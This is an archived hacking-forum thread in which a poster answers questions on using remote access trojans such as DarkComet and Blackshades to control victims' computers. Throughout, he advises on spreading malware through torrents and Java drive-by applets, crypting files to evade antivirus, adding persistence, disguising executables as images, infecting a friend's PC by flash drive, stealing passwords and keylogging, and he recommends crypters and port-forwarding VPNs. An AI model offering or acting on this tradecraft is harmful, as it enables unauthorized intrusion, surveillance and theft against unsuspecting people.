Thread: [\[ILLUMINATI\] Ask Skiezo™ Anything about RATS :-\)](#)

Skiezo™ - August 21, 2012, 6:41 pm

[IMG]<http://gxf.net/images/2012/08/02/TuhWg.gif>[/IMG]

If you need a question from someone who is experienced with RATS
Then you're on the right thread, I will simply try my best to response on all the questions that is RAT related.

Skiezo™'s VouchesCurrent vouches: 124

Spoiler [\(Click to View\)](#)

SimpleHat Wrote:VOUCH for Skiezo™ , Thank you very much for the help with DarkComet.

Anonymous Rat Help Center

Hubab Wrote:Skiezo™ helped me setup my RAT & Gave me good TIPS & TRICKS

Good service, This RAT Helpcenter is #1.

Slenderman™ Wrote:Vouch for Skiezo, Helped me with a problem on Darkcomet.

Simkecg Wrote:Vouch for Skiezo™.Great member and helper

thanks

RobotzInDisguise Wrote:Vouch for Skiezo™

he set up and Portforwarded over teamviewer

Legit!

DiscoStu Wrote:Huge Vouch for Skiezo™

I've been here for 4 years and he is the only HQ member I have experienced

Thanks alott dude, it is extremely nice of you to take time out your day for someone you don't even know, you will do well in life!

FreshPrince96 Wrote:Vouch for Skiezo™ He helped me setting up my DC RAT and made my connections work

I luv this guy!a

n1K. Wrote:This it the BEST RAT HELP CENTER ON HACKFORUMS.net

They helped me out like real professional, Skiezo, Rourke and Kohsti know what they are doing.

MASSIVE VOUCH, <3 Russia.

SweeTs™ Wrote:Skiezo™ helped me once again, thanks!

PatrickFuckingStar Wrote:Vouch for Skiezo and Kohsti, for setting up my RAT fast and legit.

Thanks a lot, really best help center!

Deseaux Wrote:Okay damn huge vouch. Portforwarded for me in about 12 seconds. I've been trying hours.

s41mm3r Wrote:Second time had to use this fine service and both times had a quick reply and the problem was resolved thanks again guys

Skiezo™: Cheers for the help bro

.Forum Korner Wrote:Skiezo had me set in no time flat! Thanks alot man!

Black Cat Wrote:Very big vouch i got help from Skiezo™ <3

Thanks, a lot.

Maximum Overload. Wrote:Vouch for Skiezo™, helping me with my RAT and my port-forwarding problems, which he said is a rare condition that can happen :)

Thank you for helping me out.

JakeUS Wrote:Skiezo™ helped me out once again.

Thanks man.

He is very cool and does it fast.

nederlandb0y Wrote:Kohsti & Skiezo™ vouch for them ! helped me good with poortforwarding. if you hava a problem contact them!

Cawex Wrote:Skiezo™ Vouch from here!! did a great job Thanks you! :)

Turk™ Wrote:Vouch for Skiezo™, helped me port forwarding in just a few mins!

Great guy, he is my brother and he knows why <3

Vouch for him !!

honda Wrote:Thank you Skiezo™ for setting up my RAT!

Vouch for Anonymous RAT Center!

The Annoying Devil Wrote:Vouch, Skiezo really helped me port forward! Thanks man!

Sayne Wrote:Vouch for Skiezo™. One of the best RAT'ers out there. Did setup faster than I could ever do. HQ service.

mapleleafssuck Wrote:Skiezo™ just helped me with a problem on CyberGate not even the CG people could help me with!

A VERY happy vouch :)

Inputs™ Wrote:VOUCH for this amazing service 100% legit

Skiezo™ helped me out

^^^ Thanks :)

Chaos Wrote:Skiezo™ is Very helpful and fast, Thanks!

StOrM Wrote:Skiezo™ is Very helpful and fast, Thanks!

jubsticles Wrote:Skiezo™ is beautiful.

Thanks for all the help!

<3

??????? Wrote:Vouch, Skiezo™ helped me via Teamviewer. It took like 2 minutes and my RAT worked again! Awesome service :D

damncoldnight Wrote:Vouch for Skiezo™ . This dude is awesome. Helped me to port forward my router :DD

berserker567 Wrote:Major VOUCH for Skiezo™ he helped me setup my JDB and helped me for over 1 hour! This guy is truly awesome and I wish the best to him! Thanks so much Skiezo™ for the amazing Teamview help! +1 Vouch!

???LL Wrote:Huge vouch to : Skiezo™ he helped me portforwarding & setting up Darkcomet

Great member lots of fun and very friendly

Go for him!!

basel1591995 Wrote:Skiezo™ thanks for helping me portforawding my router you are amazing thanks alot

Guinea pig Wrote:Vouch for Skiezo™ man! Really awesome guy :D :D.

He portforwarded for me with 2 routers. So many tried it, fails. But he?

He did it for me :D

Canaan Wrote:Just finished having Skiezo™ help me fix my ports! Thanks so much very helpful!

pazaztael Wrote:Skiezo™ Thank you for helping me portforward !

Optimist Wrote:Skiezo™ Really great member and helped me alot with Darkcomet.

Thanks alot Skiezo™

5oul3at3r Wrote:Skiezo™ is the best guy to goo to help for, I suggest going to him if you ever need ANY help at all, thanks man!

Hyped1337 Wrote:Skiezo™ is seriously the best help, he is so fast and he fixed everything for me in a matter of seconds.. If you reading this now Skiezo I cannot thankyou enough! :)

Hamburgler Wrote:Skiezo™ is one cool mother-fudger who knows what the fudge he is doing and all that ship. this mother fudger is legit as fudge. god damp.

Asskicker Wrote:Vouch for Skiezo™, helped me set up my ports and rats. I have been ratting all day. So fun :D

Thanks

koko321 Wrote:Skiezo™ Helped me out on here,

He is a very funny, friendly, and good GUY that has lots of knowledge in RATS

I really like this member and i thank him!

VOUCH FOR SKIEZO™

Regards :D

Jhawsh Wrote:Best RAT help center out there, special thanks to Skiezo and Kohsti

Vouch for both members, keep up the good work!

Flareon Wrote:Vouch for Skiezo™, helped me out with making my server, and testing it.

Thanks ^ _ ^

(Dec 7, 2012 08:28 PM)McVynSupLenBrosDus Wrote: [\[CITE\]](#) Great guy, assisted me in setting up DarkComet 5.3.1 within 10 minutes over TeamViewer, easy to trust. Again, vouch.

Thanks Skiezo :D

Odin the Wanderer - August 21, 2012, 6:45 pm

What is the best site to spread on, in your opinion.

Skiezo™ - August 21, 2012, 6:53 pm

(Aug 21, 2012 06:45 PM)Odin the Wanderer Wrote: [\[CITE\]](#) What is the best site to spread on, in your opinion.

My best spread method so far is a common used spread method

The Torrent spread method, This got me a lot of slaves before i had my file uploaded on Torrents. If you wish to use this spread method, then i suggest you use the search button, there are a lot of guides about it.

Make sure your file is Fully undetectable, and let the slaves roll in :-)

<https://hackforums.net/search.php?act...order=desc>

Bruce80 - August 21, 2012, 7:05 pm

I have a few Question to ask you: ?

When you have a Slave what is the 1st thing you should do ?

How do you update the slaves computer to keep them Activated on your user List ?

Thank you for your time ?

Snow - August 21, 2012, 7:06 pm

How many bots do you have right now?

Skiezo™ - August 21, 2012, 7:08 pm

(Aug 21, 2012 07:05 PM)Bruce80 Wrote: [\[CITE\]](#) I have a few Question to ask you: ?
When you have a Slave what is the 1st thing you should do ?

How do you update the slaves computer to keep them Activated on your user List ?

Thank you for your time ?Depends on what you actually want to do with your slave
(Trolling, Having fun with him, Stealing Passwords on different games etc.)

If you're using Blackshades you can use the " Update Option " on any slave you want, This is the same for Darkcomet but it could be named something else on that RAT.

You also could restart their computer if you made sure you add Startup to the file you have infected your slave with.

R?porter - August 21, 2012, 7:09 pm

I'm not sure if this is RAT related but what are updates and installs?

I always thought they were slaves.

Skiezo™ - August 21, 2012, 7:10 pm

(Aug 21, 2012 07:06 PM)Snow Wrote: [\[CITE\]](#) How many bots do you have right now?

I don't have many bots right now.

Because it's getting bored for me, I'm only having these bots to share installs to different people for the RAT helpcenter i'm in right now,

I would say around 40-50 Max.

(Aug 21, 2012 07:09 PM)?essica Wrote: [\[CITE\]](#) I'm not sure if this is RAT related but what are updates and installs?

I always thought they were slaves.

Installs, Bots, Slaves Are the same.

It's just how you would like to call them.

I'm not 100% sure... But i don't think " Updates " Stands for something
Because they're not installs/bots or Slaves.

ToastedKitty - August 21, 2012, 7:13 pm

What is the minimum cost to set up a http botnet?

Bruce80 - August 21, 2012, 7:14 pm

(Aug 21, 2012 07:08 PM)Skiezo™ Wrote: [\[CITE\]](#) Depends on what you actually want to do with your slave

You also could restart their computer if you made sure you add Startup to the file you have infected your slave with.

I'm using Darkcomet,

I'm just looking for passwords and file but i would like to keep most of them up and running so is it better to just update the file or use the Url

and these are my setting i'm using at the moment

I hope you can help me out

Cutefuzzypuppy - August 21, 2012, 7:16 pm

Thanks for having this thread ?

My questions:

Is it necessary to have your vpn's on all the time or would you still be safe if, say, you knew someone was looking for you and you turn it on right before they started looking?

Is it necessary to update your slaves? I have a crypter that gets detected about every week. Does that mean I need to update my slaves every week to re-fud them?

Thanks again :)

R?porter - August 21, 2012, 7:17 pm

Why do slaves just disappear if they're infected and there is nothing wrong with the server?

Skiezo™ - August 21, 2012, 7:18 pm

(Aug 21, 2012 07:13 PM)ToastedKitty Wrote: [\[CITE\]](#) What is the minimum cost to set up a http botnet?

What kind of Botnet?

If you are going for a IRC Botnet, then it would be probably around \$50-\$100.

(Aug 21, 2012 07:14 PM)Bruce80 Wrote: [\[CITE\]](#) I'm using Darkcomet,
I'm just looking for passwords and file but i would like to keep most of them up and running so is it better to just update the file or use the Url

and these are my setting i'm using at the moment

I hope you can help me out

If you have a new file that you want to infect your victim with, then that is the option you want to use. But in this case you want to have it " Refresh " Your slave to let the slave become activated again... So what you do is trying to find a Refresh option.

Target™ - August 21, 2012, 7:23 pm

Do like JDB sites really help alot for slaves?

Skiezo™ - August 21, 2012, 7:24 pm

Is it necessary to update your slaves? I have a crypter that gets detected about every week. Does that mean I need to update my slaves every week to re-fud them?

Thanks again :)No, it's not necessary to have your VPN's on all the time..

There are some people who can trace your IP, but not many people know how to do that (In general) .. I'm using RATS for 2 years now without a VPN, so the chance of getting caught is less.. Although if you use a VPN you are pretty much sure you are very safe.

It would be better to infect your slave again with your new FUD file, But that is not necessary only if you are sure your slave is going to scan his computer again while your file became Undetectable.. then there is a chance of losing your slave.

\$AM? - August 21, 2012, 7:25 pm

Yeah, I have a question similar to Tessica. To make it short, I paid someone to get "untouched" installs but then, after a day later, they don't appear on my DC client?

Mr. Fink - August 21, 2012, 7:26 pm

have you ever personally tasted a rat? Some say they taste sour.

Skiezo™ - August 21, 2012, 7:26 pm

(Aug 21, 2012 07:23 PM)5252 Wrote: [\[CITE\]](#) Do like JDB sites really help alot for slaves?

Java drive-by's are good things to improve getting your slaves on your RAT

Since its a good trick into not accepting your .EXE files.. But Just clicking RUN on a Java applet (Which lot of people don't know they would get infected by doing that), So Yes.. They help a lot to get good amount of slaves.

(Aug 21, 2012 07:25 PM)Gundam Style Wrote: [\[CITE\]](#) Yeah, I have a question similar to Tessica. To make it short, I paid someone to get "untouched" installs but then, after a day later, they don't appear on my DC client?

Then you probably didn't added Startup to your file

Or the one who has sold you those bots, has been botkilling all the slaves he sent you.

(Aug 21, 2012 07:26 PM)Cheap RSGP Seller Wrote: [\[CITE\]](#) have you ever personally tasted a rat? Some say they taste sour.

Yeah they taste good bruh :D

You should try to taste one tho.

chard5230 - August 21, 2012, 8:08 pm

how can i update my stub on my slaves?

im using cybergate and data protector crypter :))

seawolve1 - August 21, 2012, 9:08 pm

Back to RAT 101... I create a RAT using Paradox, Blackshades, or Darkcomet. I have the exe file ready to go. At what point do I crypt the file to make it FUD? Once the file is crypted, does it still act as an exe file? I want to do this right the first time.

Thanks!

Raspberry Pi - August 21, 2012, 9:23 pm

This may be a dumb question but,

Whenever I download Cybergate public and try to run it, it asks me for a password. How do I bypass this?

Regards.

petike123 - August 21, 2012, 11:54 pm

Hello Skiezo,

Can you please help me to port-forward to VPN?

I got three: OkayFreedom, [censored], ExpressVPN

Any of them can portforward? If so, can you please help me a bit out?

Thanks in advance, skype: paulinosz

Skiezo™ - August 22, 2012, 4:28 am

(Aug 21, 2012 08:08 PM)chard5230 Wrote: [\[CITE\]](#) how can i update my stub on my slaves?

im using cybergate and data protector crypter :))

You can't update a stub on a slave,

But you can infect him again with your new FUD file, And delete the same slave you had before because then you got him twice.

(Aug 21, 2012 08:15 PM)Flame™ Wrote: [\[CITE\]](#) What is your opinion on the rat Paradox?
thank you :)

I have to say, I never tried RAT paradox.

But i heard good but also bad things about it, So what i think about this RAT is actually a decent RAT like all other RATS.. But i won't buy that RAT for \$30.

(Aug 21, 2012 09:08 PM)seawolve1 Wrote: [\[CITE\]](#) Back to RAT 101... I create a RAT using Paradox, Blackshades, or Darkcomet. I have the exe file ready to go. At what point do I crypt the file to make it FUD? Once the file is crypted, does it still act as an exe file? I want to do this right the first time.

Thanks!

Yes, once you have created your file

You can crypt your file to become Fully Undetectable or Undetectable.

Depends on the crypter you're using, You can also add features such as the Melt option or Startup, that would make your file only better when someone executes it on his computer, and Yes the Executable file will stay Executable once it's crypted, If you don't want that to happen you also could use a Java drive-by.

(Aug 21, 2012 11:54 PM)petike123 Wrote: [\[CITE\]](#) Hello Skiezo,

Thanks in advance, skype: paulinosz
You can't port forward with those VPN's you are naming.
You need a VPN that supports port forwarding,

I know only 2 VPN's that support port forwarding at the moment

-Blackshades VPN / \$5 Month / <http://bshades.eu/vpn/>
-nVPN / \$6 Month / <http://www.nvpn.net>

un4gettable - August 22, 2012, 4:45 am

can you rat with proxpn?
proxpn have 3 open ports and i can see the ports on canyouseeme.org

and do i need to have no-ip?
and why?

Skiezo™ - August 22, 2012, 4:47 am

(Aug 22, 2012 04:45 AM)un4gettable Wrote: [\[CITE\]](#) can you rat with proxpn?
proxpn have 3 open ports and i can see the ports on canyouseeme.org

and do i need to have no-ip?
and why?

No, Because ProXPN the ports that ProXPN provides open are already in use, You can't use them for your RAT.. Since you need to listen a port on your RAT before it should say that the port is open.

un4gettable - August 22, 2012, 4:49 am

(Aug 22, 2012 04:47 AM)Skiezo™ Wrote: [\[CITE\]](#) No, Because ProXPN the ports that ProXPN provides open are already in use, You can't use them for your RAT.. Since you need to listen a port on your RAT before it should say that the port is open.but i saw a tut about ratting with proxpn
<https://hackforums.net/showthread.php?tid=1149550>
and i saw one of xtremerrat to
is this then a fake thread?

Skiezo™ - August 22, 2012, 4:57 am

(Aug 22, 2012 04:49 AM)un4gettable Wrote: [\[CITE\]](#) but i saw a tut about ratting with proxpn
<https://hackforums.net/showthread.php?tid=1149550>
and i saw one of xtremerrat to
is this then a fake thread?

No, that's obviously not working.

ProXPN provides ports that are already opened, but can't be used for RATS since the ports are already in use.

You can try it yourself.

iDecrypt - August 22, 2012, 4:59 am

Uhhh proxpn works for portforwarding for me. it opens up what requires connections. like it opens port 200 if youre a listening to port 200. im sorry if this doesnt make sense

un4gettable - August 22, 2012, 5:00 am

i think i'm gonna try it

i will see if it works or don't

Kyonshi - August 22, 2012, 5:00 am

Know anything about crypting?

I tried loads of free ones but none of them work properly, the furthest i got was crypted it and gave to a friend to test it and it gave him this error:

01101B0632221E has stopped working

Skiezo™ - August 22, 2012, 5:10 am

(Aug 22, 2012 04:59 AM)iDecrypt Wrote: [\[CITE\]](#) Uhmm proxpn works for portforwarding for me. it opens up what requires connections. like it opens port 200 if youre a listening to port 200. im sorry if this doesnt make sense

Yeah.. right but un4gettable said it already opened without even listening it to the RAT, that means the port is already in use.

iDecrypt - August 22, 2012, 5:31 am

oh i see, well that should still work. just pick a different port to the ones in use

Skiezo™ - August 22, 2012, 1:39 pm

(Aug 22, 2012 05:00 AM)Kyonshi Wrote: [\[CITE\]](#) Know anything about crypting?

01101B0632221E has stopped working

If the RAT you're using is Cybergate v.1.7.5, then it's outdated

And then it cause errors.. But if you're using any other RAT

Then it's probably because it got corrupted.

Try to uncheck everything on your RAT (No settings)

And crypt it with the settings you like on your Crypter

See what happens, and get back to me.

Triads - August 22, 2012, 1:48 pm

Do you like soft pillows? like the real soft ones

armedpickler - August 22, 2012, 2:20 pm

Hello. Are there any FREE and NON SURVEY crypters out there? It doesn't have to be ultimate FUD just a low chance. I've been surfing this forum for days and no luck. I have DarkComet by the way.

appie1 - August 22, 2012, 2:30 pm

What is botkilling and how does that work? Thanks in advance :P

Bosta - August 22, 2012, 3:21 pm

Are there any methods that you have tested in infecting someone via their IP and it working successfully?

D3xtr0 - August 22, 2012, 4:21 pm

skiezo when i log in to my pc my ip changes i always have to go to the page of my router and put my new ipv4 adress is there any way on how could i stop my ip to change when i log in to my pc?

Skiezo™ - August 22, 2012, 4:51 pm

(Aug 22, 2012 02:20 PM)armedpickler Wrote: [\[CITE\]](#) Hello. Are there any FREE and NON SURVEY

There might be free Crypters without completing a survey

But there is a low chance on that.. It's not even worth to complete the survey and then use the crypter, I highly suggest to buy a PAID crypter

Here are some crypters listed, of course paid ones come with unlimited updates and better customer support. Free ones are also good, but it will stick to one version, most of the time.

Paid Crypters:

<https://hackforums.net/showthread.php?tid=2524118> - Data Protector

<https://hackforums.net/showthread.php?tid=1017199> - SADDAM

<https://hackforums.net/showthread.php?tid=2371565> - Dimension

<https://hackforums.net/showthread.php?tid=2162662> - Cryptex Advanced

<https://hackforums.net/showthread.php?tid=2361480> - Enigma

Free Crypters:

(Aug 22, 2012 02:30 PM)appie1 Wrote: [\[CITE\]](#) What is botkilling and how does that work? Thanks in advance :P

Botkilling is a option that most of the Remote Administration Tool has..

It's a option to kill all the files from the ratters that has been used for a victim,

For example: You have a slave on your RAT, But someone else has infected the same slave, if he use the Botkill option on this slave. The slave will be removed on the RAT that the other Ratter is using.

(Aug 22, 2012 03:21 PM)Bostanian Wrote: [\[CITE\]](#) Are there any methods that you have tested in infecting someone via their IP and it working successfully?

I don't understand your question, There is no way in infecting someone via a IP.

(Aug 22, 2012 04:21 PM)D3xtr0 Wrote: [\[CITE\]](#) skiezo when i log in to my pc my ip changes i always have to go to the page of my router and put my new ipv4 adress is there any way on how could i stop my ip to change when i log in to my pc?

You probably have a Dynamic router, Try to call your internet provider and ask them if they can make it a static router, this will prevent you from changing it to a new IP.

Hope i helped.

Tutelary - August 22, 2012, 7:17 pm

What's the difficulty rating on a scale of 1-10 of setting up a RAT? 1 being the easiest, 10 being the hardest, Thanks. (I personally see it as a solid 6.)

Skiezo™ - August 22, 2012, 7:36 pm

(Aug 22, 2012 07:17 PM)Lakai™ Wrote: [\[CITE\]](#) What's the difficulty rating on a scale of 1-10 of setting up a RAT? 1 being the easiest, 10 being the hardest. Thanks. (I personally see it as a solid 6.)

Haha, I would give it a 4 or 5 then.

It's pretty much easy.. It's just the Understanding & Reading
Then pretty much everything is easy to do..

No-IP is easy to set up, if you follow a guide
Port forwarding on a Router is easy if you know what to do (Read Guides/Tutorials)
IPV4 Address/ TCP+UDP / etc.
Setting up a RAT file is also easy to do.. Just try to find guides, Read a lot and understand.

That's pretty much it i guess.

Skiezo™ - August 23, 2012, 12:18 pm

(Aug 23, 2012 07:30 AM)chard5230 Wrote: [\[CITE\]](#) is download and execute will work?
or..

Yes, you can use the Download & Execute URL option
For the direct download link of your executable file.
Or some RATs have the Download & Execute option, just uploading your RAT file, and execute it.

(Aug 23, 2012 08:20 AM)gemeentehuis Wrote: [\[CITE\]](#) Whats the best paid RAT en paid Crypter?
My opinion is: Blackshades is the best RAT i have ever used..
Although the Downtime is a problem for the most of the members.

And Data Protector is the best FUD Crypter i have ever used as well.
Once you crypt your file, you crypting it with 4 Back up processors.
The file is very-hard to kill, Because there are 4 Processors running in the Task manager, that you have to End Like a puzzle.. If you end the wrong processor then they're all back running in the Task manager.

Other then that, It's almost Fully Undetectable EVERY day.

(Aug 23, 2012 09:10 AM)Coffee Wrote: [\[CITE\]](#) Im losing all my slaves:

them back at all, is RAting pointless if you cant leave it on all the time? Because losing every slave every time i have to shut my laptop down is retarded

This could be the problem of the Startup, you did not add on your file.

Did you make sure you add the feature: Startup on your file?

And how did you received these slaves? If they're from someone else who gave you those slaves then he/she could Botkill them as well, so you will lose them.

(Aug 23, 2012 09:11 AM)Buzzle Wrote: [\[CITE\]](#) Are you famillar with worms? In case witch worms.

No, I'm not familiar with Worms at all

Since i have never used them and no one has ever asked about them.

armedpickler - August 23, 2012, 1:54 pm

1. Hey Skiezo. I just want to know what's the BEST way to spread your rat? The max I ever had was 4. I am also a noobie at it, so if your methods are complex could you link a tutorial? I would like to get more than 4 slaves!

2. Is it worth it to buy a crypter for a rat to make it FUD? Like a permanent license. If so, what do you recommend? Cheap is a good option too!

Odin the Wanderer - August 23, 2012, 4:07 pm

Do you find portforwarding tedious?

Skiezo™ - August 23, 2012, 6:33 pm

(Aug 23, 2012 04:07 PM)Odin the Wanderer Wrote: [\[CITE\]](#) Do you find portforwarding tedious?

Not really, Because once if you know how to do it, it's pretty easy

It's pretty much Understanding, Reading & Thinking..

Some people have sometimes 2 routers, That means they have to port forward on both, or just fill in the DNS Details from 1 router to the second router, and it's (Connected) So Router 2 Checks if Router 1 is port forwarded & You're port forwarded...

So basically it's not that hard (For me).

Coffee - August 23, 2012, 6:45 pm

Everytime I try to crypt my blackshades server it doesnt work afterwards (Other people crypt for me)

Sorry to poach on this, but I would definitely recommend using nVPN, just set it to start with windows and put the auth inside the config so it never disconnects and you're good to go

Skiezo™ - August 23, 2012, 7:03 pm

(Aug 23, 2012 06:45 PM)Coffee Wrote: [\[CITE\]](#) Everytime I try to crypt my blackshades server it doesnt work afterwards (Other people crypt for me)

Make sure to Uncheck everything on your RAT before you let someone crypt it, Because on the one who crypted for you probably used features on the Crypter, But you probably have used them as well on the RAT that will corrupt your file.

(Aug 23, 2012 06:52 PM)Gee Wrote: [\[CITE\]](#) DEN HAAG CONNECTIONNNN :P

OT: What VPN should I get for Blackshades that doesn't need port forwarding? I heard nVPN was good but i'm not exactly sure.

There are 2 VPN's that i know and supports port forwarding

- Blackshades VPN / \$5 Month / <http://bshades.eu/vpn/>
- nVPN / \$6 Month / <http://www.nvpn.net>

Although, A lot of people recommend to use nVPN since Their support is amazing and their Port forwarding Panel works Flawless.

By everything do you mean startup because i havent found a crypter than makes it enable on startup

Skiezo™ - August 23, 2012, 7:10 pm

(Aug 23, 2012 07:07 PM)Coffee Wrote: [\[CITE\]](#) By everything do you mean startup because i havent found a crypter than makes it enable on startup

Not only startup, just Uncheck everything to make your file better..

This is what it should look like for Blackshades:

Then try to crypt it once again, and add the Startup feature on the crypter.

????A?? - August 23, 2012, 7:11 pm

How exactly do they eat? I heard they like a lot of cheeze but I think thats a rumor, how do you feed your rats?

Are they very costly and do they use some sort of litter box or do you keep them all in cages?

You can't stop a Persons Firewall, Unless he is AFK from his Keyboard
You could shut it down through the Remote desktop screen..

Or you can Execute a Batch commands that shut down the Firewall Automatically.

No, I don't crypt for regular members.

(Aug 23, 2012 10:02 PM)armedpickler Wrote: [\[CITE\]](#) 1. Hey Skiezo. I just want to know what's the BEST way to spread your rat? The max I ever had was 4. I am also a noobie at it, so if your methods are complex could you link a tutorial? I would like to get more than 4 slaves!

Try to use the Search button, the RAT section is filled with Guides on how to spread your file.
I recommend to use the Torrent spread method, This got me a lot of slaves before i had my file uploaded on Torrents.

Here are some tutorials:

<https://hackforums.net/showthread.php?tid=1344028>

<https://hackforums.net/showthread.php?tid=1641068>

<https://hackforums.net/showthread.php?tid=1640994>

2. Yes it's definitely worth it to buy a crypter, I suggest you to buy Data Protector, it's almost every day FUD, and it's hard to kill!

Once you crypt your file with that Crypter, you have 4 Back up processors.. which need to be ended in the Task manager like a puzzle..

If you end the wrong one, they will be all back running in the Task manager.

You can buy Data Protector here;

Try to download a Keylogger on your Victim, since Darkcomet's Keylogger is not that stable..

(Aug 24, 2012 09:45 PM)seawolve1 Wrote: [\[CITE\]](#) Hey Skiezo.. Question regarding binding my RAT to a jpeg.... Once I bind the two and i mass email the picture... How is it RAT executed by the people I send the pic to?

I don't fully understand your question.. But i guess i know what you're asking me..

Once your victim is executing the file on his computer, a Picture will pop up and the .EXE file will be executed.. so basically your victim doesn't even know he got infected.

(Aug 24, 2012 11:46 PM)Mateo Palamecia Wrote: [\[CITE\]](#) Say you have the .exe file ready to go. Is it possible to copy it to a flash drive and run it manually on the slave's computer? (thinking in hacking my fiend. I go to her house once a week and Thought about using it. Just wanna make sure)

Yeah, you could do that to infect your friend's computer

That might be a good idea, Although make sure you use the Melt option on your file so whenever he clicks on it, he gets infected and the .EXE file disappears on his computer like it never happened.

(Aug 25, 2012 03:22 AM)un4gettable Wrote: [\[CITE\]](#) do you know a good http rat?

i tried lokirat, but it really sucks

Yeah.. there are some HTTP RATS i know..

- Blackshades HTTP Rat - <http://bshades.eu>

- Imperium HTTP Rat - <https://hackforums.net/showthread.php?tid=2027314>

You can try one of these, although i suggest you to use a Port forwarded RAT.. if you have problems with it, just list it here and i'll try to port forward for you.

(Aug 25, 2012 04:36 AM)UG0tFr0gs Wrote: [\[CITE\]](#) Blog is not working at the moment? Fix it soon. Thanks in advance

0.0.0.0 doesn't only have to be for USB modems.. And you didn't tell me it was an USB one.

If it's an USB one, then it depends on the model. Some support PF some don't.
So you will have to use a VPN with open ports most of the time.

Odin the Wanderer - August 26, 2012, 7:23 am

What is the best paid RAT right now in the market?

Text - August 27, 2012, 1:41 am

What is the most slaves you have had at one time?

nishantagrawal25 - August 27, 2012, 1:52 am

i tried darkcomet yesterday

i build my server and when i am testing it on my laptop i am getting the message but it is not showing me as a user in users list

since the message is being shown i think that i have build the server properly

i am a noob

please help me

thanks..

i tried it once again

this time i entered 127.0.0.1 in ip/dns instead of no-ip host

now it is showing me as a user

can anyone explain me and help me regarding this please

thanks

Skiezo™ - August 27, 2012, 8:36 am

(Aug 26, 2012 09:31 PM)constellation Wrote: [\[CITE\]](#) I'm using HideMyAss! Pro VPN, it should support port forwarding.

Well let me tell you, that VPN doesn't support port forwarding

I know only 2 VPN's that support port forwarding

-Blackshades VPN / \$5 Month / <http://bshades.eu/vpn/>

-nVPN / \$6 Month / <http://www.nvpn.net>

Hopefully this will be a easier step for getting closer on setting up your RAT.

(Aug 27, 2012 12:04 AM)TheEliteOne Wrote: [\[CITE\]](#) Avast always blocks execution of rats unless you hit continue (because its a suspicious file) anyway around this?

What crypter do you use to crypt your file?

Because that shouldn't happened if your file is Fully undetectable.

(Aug 27, 2012 12:35 AM)teh-tarik Wrote: [\[CITE\]](#) What is the best paid RAT right now in the market?

If i have to be honest, I don't think there is a Best paid RAT right now in the market, I had only 1 favorite RAT that i always liked to use, and that was Blackshades.. But the downtime is really bad..

So sorry i can't answer on this question.

Most likely reason you don't show up when you test it on yourself is the fact your probably using your external address when testing, (Eg, your WAN IP, or your No-ip DNS) and most likely your router/gateway/modem doesn't have NAT loopback support. Nothing to worry about, just when you test within your network use internal addresses, (eg, if your testing on the computer that is running the client use 127.0.0.1, if your testing within your network on a different computer use the address of the computer hosting the client).

TheEliteOne - August 27, 2012, 9:01 am

I was using muft protector, a free one on hf :B any suggestions besides go buy one? I really can't afford that.

mikko - August 27, 2012, 9:37 am

Maybe is because you need to portforward like all the others.Also in DC you have to set your NO-IP and some time is not working good .

You use the NO-IP for other networks, and 127.0.0.1 your own network.

Gimpers - August 27, 2012, 6:52 pm

I cannot figure out how to get the rats to start up on the victim computer on every boot. I have tried
to run registry keys as well as just putting the server into their startup folder. I am not able to do
either one. Any ideas?

Inconditional - August 27, 2012, 7:10 pm

Skiezo my sir,
What does the term, 'botkill' exactly mean?
I know it means to "uninstall" a slave, but how can bot vendors use this to their advantage?
Is there a way to "patch" or protect yourself from botkill?
Also how do you add .exe to startup?

elemein - August 27, 2012, 7:30 pm

Can you RAT off 3G? (asking because I am on vacation and want to RAT and only have my phone's 3G at my disposal ;))

Satoshi Nakamoto - August 27, 2012, 7:31 pm

What are some of the advantages and disadvantages of using BShades Stealth over BShades RAT?

I have been researching this, but I have failed to find any concrete answers.

Thank you,
Morgan

ThemisBro - August 27, 2012, 7:38 pm

How do I make the RAT so when they click on it, it won't come up as a executable file? I don't want them knowing they are running a program.

Skiezo™ - August 27, 2012, 7:44 pm

(Aug 27, 2012 06:52 PM)Gimpers Wrote: [\[CITE\]](#) I cannot figure out how to get the rats to start up on the slave computer on every boot. I have tried to run registry keys as well as just putting the server into their startup folder. I am not able to do either one. Any ideas?

Check the Startup button on your RAT or if you are planning to crypt it , Add startup on the crypter.. that would do the job.

(Aug 27, 2012 07:10 PM)Merphus Wrote: [\[CITE\]](#) Skiezo my sir,

Is there a way to "patch" or protect yourself from botkill?

Also how do you add .exe to startup?

If you got slaves from someone, then he has the same slaves on his RAT as yours on your RAT, That means he can do what ever he want with the slaves as well, There is a " Malware Killer " Button on Most of the RATs, That means it kills all the infected files that someone else infected the Slave with, That means He/She keeps the bots and you lose them!

And adding startup to an Executable file can be done through a RAT or a Crypter.

(Aug 27, 2012 07:30 PM)elemein Wrote: [\[CITE\]](#) Can you RAT off 3G? (asking because I am on vacation and want to RAT and only have my phone's 3G at my disposal ;))

No you cannot a RAT a Phone.

Although you could try for searching on a guide, but i doubt you'll find anything.

Gimpers - August 27, 2012, 7:52 pm

I tried to check the startup box but after testing on my laptop it doesnt seem to work... im using dark comet. Also, it seems like i cannot do file transfers.

elemein - August 27, 2012, 7:54 pm

No, I didn't mean to RAT a phone. I meant can I use the 3G internet service on my phone to RAT? Simply because I can't portforward here because I don't own the router because I'm on vacation.

Skiezo™ - August 27, 2012, 7:58 pm

(Aug 27, 2012 07:31 PM)morgan5cc Wrote: [\[CITE\]](#) What are some of the advantages and disadvantages of using BShades Stealth over BShades RAT?

I have been researching this, but I have failed to find any concrete answers.

Thank you,

Morgan

I think you meant to say Blackshades NET over Blackshades Stealth

Well here are some Advantages & Disadvantages;

Advantages:

Blackshades NET

- Can only RAT OS Windows Computers.
- Has a lot more features you can use on a victim.
- This RAT has no dependencies
- Very stable RAT

Blackshades Stealth

- Coded in Java
- You can RAT Mac users
- All data traffic is encrypted with AES
- Not HWID locked.. you can use it on any Computer

Disadvantages:

Blackshades NET

- A lot of Downtime
- Keylog Manager doesn't work sometimes.
- Some features are bugged.

Blackshades Stealth

- You cannot RAT OS Windows
- Not a lot features you can use
- It's not a common used RAT.. So support is hard to get.

(Aug 27, 2012 07:38 PM)Ciaron10 Wrote: [\[CITE\]](#) How do I make the RAT so when they click on it, it won't come up as a executable file? I don't want them knowing they are running a program.

Your file always stays a Executable, but you can spoof

So the name looks like it is a for example; JPG file

thiexe.jpg < -- Something like this.

(Aug 27, 2012 07:52 PM)Gimpers Wrote: [\[CITE\]](#) I tried to check the startup box but after testing on my laptop it doesnt seem to work... im using dark comet. Also, it seems like i cannot do file transfers.

Darkcomet's Startup is messed up sometimes

Try to uncheck everything on your RAT and try to crypt it and add startup to it, see what happens then.

